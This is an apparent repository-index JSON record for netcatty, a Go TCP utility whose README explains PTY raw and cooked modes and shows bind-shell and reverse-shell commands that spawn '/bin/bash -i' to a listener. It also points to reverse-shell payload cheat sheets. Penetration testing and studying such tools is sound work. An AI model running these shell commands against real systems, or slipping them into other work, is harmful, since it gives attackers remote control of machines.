{"id":13509794,"url":"https://github.com/dzervas/netcatty","last_synced_at":"2025-04-16T07:35:26.291Z","repository":{"id":144274567,"uuid":"180248168","full_name":"dzervas/netcatty","owner":"dzervas","description":"A simple TCP socket utility that gives you a TTY","archived":false,"fork":false,"pushed_at":"2020-05-22T08:13:49.000Z","size":55,"stargazers_count":29,"open_issues_count":0,"forks_count":7,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-04-16T04:14:57.847Z","etag":null,"topics":["go","golang","pty","remote-shell","reverse-shell","tty"],"latest_commit_sha":null,"homepage":null,"language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/dzervas.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-04-08T23:29:01.000Z","updated_at":"2024-06-03T09:03:02.000Z","dependencies_parsed_at":"2024-02-02T03:00:41.383Z","dependency_job_id":null,"html_url":"https://github.com/dzervas/netcatty","commit_stats":null,"previous_names":[],"tags_count":2,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dzervas%2Fnetcatty","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dzervas%2Fnetcatty/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dzervas%2Fnetcatty/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dzervas%2Fnetcatty/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/dzervas","download_url":"https://codeload.github.com/dzervas/netcatty/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":249213756,"owners_count":21231096,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["go","golang","pty","remote-shell","reverse-shell","tty"],"created_at":"2024-08-01T02:01:13.321Z","updated_at":"2025-04-16T07:35:26.247Z","avatar_url":"https://github.com/dzervas.png","language":"Go","funding_links":[],"categories":["Go","golang"],"sub_categories":[],"readme":"# NetCaTTY\n\nA simple TCP socket utility that gives you a TTY, either by listening or by\nconnecting to a remote.\n\n## Why do I need a TTY?\n\nIt's like comparing a netcat shell to SSH. SSH is able to pass EVERYTHING that\nyou type to the remote. `Ctrl-C`, `Ctrl-Z` and friends work as expected and you\ndon't kill your session. The way that SSH achieves that behaviour is by spawning\nthe target process (shell) inside a PTY (a pseudo-TTY), putting the local\nPTY (that your terminal gives you) in \"raw mode\", where the program is able\nto handle all keystrokes, and forwards them to the remote PTY.\n\n## How does this work?\n\nWell it's mostly arcane magic, as TTYs (and by extent PTYs) are an ancient\ntechnology used in teletypes (TeleTYpewriter and Pseudo-TeletYpewriter),\nwritten around the 60s where everyone had no idea what they're doing and\ndrugs where at their best. So I'm not exactly sure, but I'm gonna try to explain\nwhat I have in my head right now - if you wanna read the real thing and not\nwhat I figured out by trial and error in 2 days,\nread [this](http://www.linusakesson.net/programming/tty/index.php).\n\nIt's something like a buffer between the running program (`bash -i` lets say)\nand the stdin (keyboard?). It has two modes (or more? I saw some weird\nflags in termios): raw and cooked.\n\nIn cooked mode, the input is buffered line by line, so that `Ctrl-D`,\n`Backspace` and other keys can be processed. This is the default mode when\nyou get input from stdin in your program.\n\nIn raw mode on the other hand, everything (or most things?) are passed to the\nprogram (even `Backspace` and `Ctrl-C`) and it handles them itself. Even\ncharacter echo is disabled (where every character you type is displayed\non the screen).\n\nSo what we need to achieve is a cooked PTY on the remote (so it handles `Ctrl-C`\nlocally) where will take stdin from us and send stdout to us\n\nThe problems on achieving a cooked mode on the remote with the remote shell\nare that first of all your local PTY is in cooked mode (so your netcat doesn't\never receive that `Delete` character, your PTY handles it) and even if you put\nyour PTY in raw mode, the remote has no PTY at all, as it was spawned by another\nprocess (like `exec`).\n\nSo the first problem is kinda trivial, you put your PTY in raw mode - and I say\nkinda because nobody has documented this shit enough in a language like Go\nor Python.\n\nThe second problem is not that easy to solve. You need to open a PTY and spawn\na process inside it like you would do in your terminal (so `bash` and `bash -i`\nwill work the same, as most programs understand that they're inside a PTY and\nstart in interactive mode) and proxy your stdin (got from the local raw PTY) to\nthe remote's cooked PTY stdin, and do the reverse for stdout.\n\nNow this problem is a real pain, cause nobody does that, especially in any\nlanguage other than C. I've found solutions to that for some shells\n(like `import pty; pty.spawn(\"bash\")` for python) and I've integrated them into\nthe tool.\n\n## Examples\n\nPlease don't hurt puppers or kitties with them!\n\nIf you're short on ideas for payloads, check the following:\n\n - msfvenom\n - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) by [swisskyrepo](https://github.com/swisskyrepo)\n - [oneliner.sh](https://github.com/operatorequals/oneliner-sh) by [operatorequals](https://github.com/operatorequals) \n\n### Bind shell\n\nTarget machine (with IP 192.168.1.1): `netcatty -e \"/bin/bash -i\" -lp 4444`\n\nYour terminal: `netcatty 192.168.1.1 4444`\n\n### Reverse shell\n\nTarget machine: `netcatty -e \"/bin/bash -i\" 192.168.1.100 4444`\n\nYour terminal (with IP 192.168.1.100): `netcatty -lp 4444`\n\n## Installation\n\nYou can download a binary for your platform [here](https://github.com/dzervas/netcatty/releases).\n\nCompile it on your own:\n\n```bash\ngit clone https://github.com/dzervas/netcatty\ncd netcatty\ngo run netcatty.go -h\n```\n\nOr compile binaries for all OSes \u0026 architectures:\n\n```\ngo get github.com/mitchellh/gox\ngox -output \"dist/{{.Dir}}_{{.OS}}_{{.Arch}}\"\n```\n\n## Usage\n\n```\nUsage:\n  netcatty [OPTIONS] [hostname] [port]\n\nApplication Options:\n  -l, --listen      Listen mode, for inbound connects\n  -p, --local-port= Local port number\n  -r, --randomize   Randomize local and remote ports\n  -s, --source=     Local source address (ip or hostname)\n  -T, --telnet      answer using TELNET negotiation\n  -v, --verbose     -- Not effective, backwards compatibility\n  -V, --version     Output version information and exit\n\nService:\n  -P, --protocol=   Provide protocol in the form of\n                    tcp{,4,6}|udp{,4,6}|unix{,gram,packet}|ip{,4,6}[:\u003cprotocol-number\u003e|:\u003cprotocol-name\u003e]\n                    For \u003cprotocol-number\u003e check\n                    https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml\n  -t, --tcp         TCP mode (default)\n  -u, --udp         UDP mode\n\nInOut:\n  -e, --exec=       Program to exec after connect\n  -i, --interval=   Delay interval for data sent, ports scanned\n  -L, --tunnel=     Forward local port to remote address\n  -o, --output=     Output hexdump traffic to FILE (implies -x)\n  -x, --hexdump     Hexdump incoming and outgoing traffic\n  -z, --zero        Zero-I/O mode (used for scanning)\n\nAction:\n  -D, --detect      Detect remote shell automatically and try to raise a TTY on the remote\n  -R, --auto-raw    Put local TTY in Raw mode on connect (action)\n\nHelp Options:\n  -h, --help        Show this help message\n```\n\n---\n\nCredits at [operatorequals](https://github.com/operatorequals) for making me\nwrite this and at [mattn](https://github.com/mattn) for creating [go-tty](https://github.com/mattn/go-tty).\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdzervas%2Fnetcatty","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fdzervas%2Fnetcatty","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdzervas%2Fnetcatty/lists"}